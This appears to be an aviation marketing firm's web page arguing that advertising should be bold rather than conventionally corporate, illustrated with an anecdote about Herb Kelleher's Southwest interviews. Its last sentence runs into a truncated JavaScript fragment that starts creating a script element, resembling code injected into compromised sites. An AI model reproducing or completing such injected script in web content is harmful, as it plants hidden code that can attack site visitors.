Many of our first conversations with new clients include a conversation along these lines -
"We'd like our website (or other marketing materials) to look really professional."
Aviation is a conservative field, we know. And it's a small community. And everyone is afraid of offending a competitor by calling out a competitive difference specifically, or by having an advertisement or web page that looks unusual.
Companies should be MORE afraid of wasting time, money and their readers' or site visitors' valuable attention on the same old corporate B.S. that won't get noticed.
We are so bombarded with advertising that attention is more difficult to come by. We have to work harder to be worthy of that attention! That includes being authentic and showing some of the personality behind the corporate image.
Of course, if we do something unusual, not everyone will like it. We may risk criticism or even ridicule. But we've found that there is almost always far less of that than we fear; and it's usually outside of the "target demographics" that we intend to connect with in our advertising.
We strongly agree with marketing expert Dan Kennedy on one point:
The worst sin in marketing is to be boring! "
While we agree that all marketing materials must be high-quality, well-designed and error-free, we won't produce a piece that has the standard navy blue logo on a white background with stock photography of a beautiful aircraft with headline that uses conventional terms to describe a conventional product, and goes on to talk about features without a compelling, unusual or STRIKING reason why this product is better than the competition.
Customers these days demand transparency and authenticity, and hiding behind corporate conventions is seen as compensating for a poor product, poor business model, or a lack of passion or imagination.
If you're not passionate enough about your product to risk something beyond the usual safe, boring "corporate image" in your marketing materials, you may need to find a new product.
Southwest CEO Herb Kelleher frequently asked job applicants for pilot or executive positions to go into the next room change out of their interview suit, and put on a pair of Hawaiian-printed Bermuda shorts. Some applicants left, feeling that their dignity had been insulted. Others complied with the request and carried on with a serious interview about their skills and qualifications without the traditional corporate "armor" of a suit and tie. These were the ones that Kelleher hired - people who wanted the job badly enough to risk a little bit of embarrassment, and who could be confident about their skills and about the job at hand while literally checking their corporate image (and probably their ego as well!) at the door.
Not everybody approved of Kelleher's interview style. Not everyone approved of his Wild-Turkey drinking, chainsmoking, arm-wrestling personal image, or of the hot pants-wearing air hostesses of Southwest's heyday. But more people approved than disapproved, as evidenced by the fact that Southwest remained profitable for the 35-years that Kelleher was CEO.
We love advertising pieces that do the same - get attention and show some levity and a sense of fun while demonstrating the clear superiority of a product or service; and offering a compelling reason why the prospective customer should take some action immediately.
This creates a measurable, actionable, attention-getting advertisement that not only gets attention, but gets results.
So, if you're looking for a beautiful brochure to hand to people at your next trade show that enhances your polished corporate image and that every single person you hand it to will admire for a few seconds before it goes in the garbage can, there are other marketing companies we can recommend.
If you're looking for something that will get attention, focus toward a complete, results-oriented marketing plan; contact us and let's talk about your objectives.var d=document;var s=d.createElement('script'); .
